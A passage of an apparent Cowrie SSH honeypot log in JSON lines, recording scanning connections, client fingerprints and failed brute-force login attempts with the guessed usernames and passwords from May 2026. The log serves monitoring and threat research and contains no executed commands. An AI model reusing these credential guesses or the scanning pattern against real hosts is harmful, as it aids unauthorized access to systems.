","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:39:43.100278Z","src_ip":"45.66.52.41","session":"80abe618cdfb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Yu123456@","message":"login attempt [root/Yu123456@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:39:43.932719Z","src_ip":"45.66.52.41","session":"80abe618cdfb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:39:45.107383Z","src_ip":"45.66.52.41","session":"80abe618cdfb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"109.172.54.111","src_port":49274,"dst_ip":"10.17.0.5","dst_port":22,"session":"9ba04abc8fe1","protocol":"ssh","message":"New connection: 109.172.54.111:49274 (10.17.0.5:22) [session: 9ba04abc8fe1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:39:58.597557Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:39:58.602915Z","src_ip":"109.172.54.111","session":"9ba04abc8fe1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:39:58.700130Z","src_ip":"109.172.54.111","session":"9ba04abc8fe1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qvellfdy12","message":"login attempt [root/qvellfdy12] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:39:58.988479Z","src_ip":"109.172.54.111","session":"9ba04abc8fe1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:40:00.114676Z","src_ip":"109.172.54.111","session":"9ba04abc8fe1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.133.63.206","src_port":37870,"dst_ip":"10.17.0.5","dst_port":22,"session":"6a8e0e0f14de","protocol":"ssh","message":"New connection: 62.133.63.206:37870 (10.17.0.5:22) [session: 6a8e0e0f14de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:40:06.154444Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:40:06.161209Z","src_ip":"62.133.63.206","session":"6a8e0e0f14de","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:40:06.285047Z","src_ip":"62.133.63.206","session":"6a8e0e0f14de","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"checking!@!@%","message":"login attempt [root/checking!@!@%] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:40:06.666782Z","src_ip":"62.133.63.206","session":"6a8e0e0f14de","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:40:07.793510Z","src_ip":"62.133.63.206","session":"6a8e0e0f14de","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.565781116485596,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:40:11.963245Z","src_ip":"121.185.120.193","session":"1d4e3c13e0e1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.184","src_port":43068,"dst_ip":"10.17.0.5","dst_port":22,"session":"db24b03994a3","protocol":"ssh","message":"New connection: 80.94.92.184:43068 (10.17.0.5:22) [session: db24b03994a3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:40:13.636617Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:40:13.807761Z","src_ip":"80.94.92.184","session":"db24b03994a3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:40:13.813693Z","src_ip":"80.94.92.184","session":"db24b03994a3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"1234567","message":"login attempt [solv/1234567] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:40:15.090110Z","src_ip":"80.94.92.184","session":"db24b03994a3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.9","message":"Connection lost after 2.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:40:16.500356Z","src_ip":"80.94.92.184","session":"db24b03994a3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.37.70.224","src_port":53462,"dst_ip":"159.203.135.109","dst_port":22,"session":"29cfe48b5f39","protocol":"ssh","message":"New connection: 193.37.70.224:53462 (159.203.135.109:22) [session: 29cfe48b5f39]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:40:30.511969Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:40:30.517423Z","src_ip":"193.37.70.224","session":"29cfe48b5f39","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:40:30.610697Z","src_ip":"193.37.70.224","session":"29cfe48b5f39","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"98765","message":"login attempt [root/98765] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:40:30.890261Z","src_ip":"193.37.70.224","session":"29cfe48b5f39","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:40:31.986616Z","src_ip":"193.37.70.224","session":"29cfe48b5f39","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.195.236.96","src_port":40526,"dst_ip":"10.17.0.5","dst_port":22,"session":"85355b7f245d","protocol":"ssh","message":"New connection: 103.195.236.96:40526 (10.17.0.5:22) [session: 85355b7f245d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:40:39.178668Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:40:39.184892Z","src_ip":"103.195.236.96","session":"85355b7f245d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:40:39.425997Z","src_ip":"103.195.236.96","session":"85355b7f245d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"789632145","message":"login attempt [root/789632145] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:40:40.399530Z","src_ip":"103.195.236.96","session":"85355b7f245d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:40:41.648039Z","src_ip":"103.195.236.96","session":"85355b7f245d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.153.68.219","src_port":53826,"dst_ip":"10.17.0.5","dst_port":22,"session":"d122eef444a1","protocol":"ssh","message":"New connection: 103.153.68.219:53826 (10.17.0.5:22) [session: d122eef444a1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:41:25.832358Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:41:25.837203Z","src_ip":"103.153.68.219","session":"d122eef444a1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"181.188.176.245","src_port":54930,"dst_ip":"10.17.0.5","dst_port":22,"session":"2c322e5c82d3","protocol":"ssh","message":"New connection: 181.188.176.245:54930 (10.17.0.5:22) [session: 2c322e5c82d3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:41:26.012110Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:41:26.016768Z","src_ip":"181.188.176.245","session":"2c322e5c82d3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:41:26.088069Z","src_ip":"103.153.68.219","session":"d122eef444a1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:41:26.186364Z","src_ip":"181.188.176.245","session":"2c322e5c82d3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"malina","message":"login attempt [root/malina] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:41:26.841318Z","src_ip":"103.153.68.219","session":"d122eef444a1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"zhangwei","message":"login attempt [root/zhangwei] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:41:26.895752Z","src_ip":"181.188.176.245","session":"2c322e5c82d3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:41:28.067924Z","src_ip":"181.188.176.245","session":"2c322e5c82d3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:41:28.098424Z","src_ip":"103.153.68.219","session":"d122eef444a1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.173.38.229","src_port":45920,"dst_ip":"10.17.0.5","dst_port":22,"session":"425e913b6e1a","protocol":"ssh","message":"New connection: 62.173.38.229:45920 (10.17.0.5:22) [session: 425e913b6e1a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:41:42.949727Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:41:42.954342Z","src_ip":"62.173.38.229","session":"425e913b6e1a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:41:43.118735Z","src_ip":"62.173.38.229","session":"425e913b6e1a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456QWERTY","message":"login attempt [root/123456QWERTY] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:41:43.908100Z","src_ip":"62.173.38.229","session":"425e913b6e1a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:41:45.117407Z","src_ip":"62.173.38.229","session":"425e913b6e1a","protocol":"ssh"}
